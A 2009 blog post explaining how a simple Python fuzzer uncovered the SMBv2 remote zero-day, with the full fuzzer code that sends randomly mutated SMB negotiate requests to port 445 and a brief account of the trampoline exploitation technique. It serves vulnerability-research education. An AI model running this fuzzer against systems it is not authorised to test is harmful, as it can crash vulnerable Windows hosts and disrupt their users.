Tuesday, October 6, 2009

How a simple python fuzzer brought down SMBv2 in 2 seconds.

If you haven't had a chance to check out the post by Laurent Gaffie (posted at the end of this blog), it's a really great read on how the latest SMBv2 zero-day got discovered.

Laurent used a simplistic packet reconstruction fuzzer in python to ultimately discover what is now a remotely exploitable zero-day within SMBv2 systems. Let's dissect the code a little bit:

from socket import *
from time import sleep
from random import choice

host = "IP_ADDR", 445

#Negotiate Protocol Request
packet = [chr(int(a, 16)) for a in """
00 00 00 90
ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00
00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00
00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50
52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d
41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66
6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e
31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c
41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20
30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00
""".split()]


while True:
#/Core#
what = packet[:]
where = choice(range(len(packet)))
which = chr(choice(range(256)))
what[where] = which
#/Core#
#sending stuff @host
sock = socket()
sock.connect(host)
sock.send(' '.join(what))
sleep(0.1) # dont flood it
print 'fuzzing param %s' % (which.encode("hex"))
print 'complete packet %s' % (''.join(what).encode("hex"))
# When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull
sock.close()

Look at the #Negotiate Protocol Request portions, this is simply rebuilding a dump of a valid SMB request, easily obtainable through wireshark or other sniffers, the rest of the fuzzer simply substitutes every byte with a substituted value like most fuzzers do. The blog outlines how could something like this escape Microsoft's auditing and how easy it was for Laurent to find this bug.

Also if you haven't read the post on how this bug became exploitable using the trampoline method for reliable exploitation, take a read here: http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html written by Piotre Bania.

Using three stages, some division to calculate a INC ESI, POP ESI, and RET (0x46, 0x5E, 0xC3) to our shellcode, the smbv2 exploit is now a living breathing remote exploit.

For more information and an explanation of how the exploit was discovered check out: http://g-laurent.blogspot.com/2009/10/more-explication-on-cve-2009-3103.html

No comments: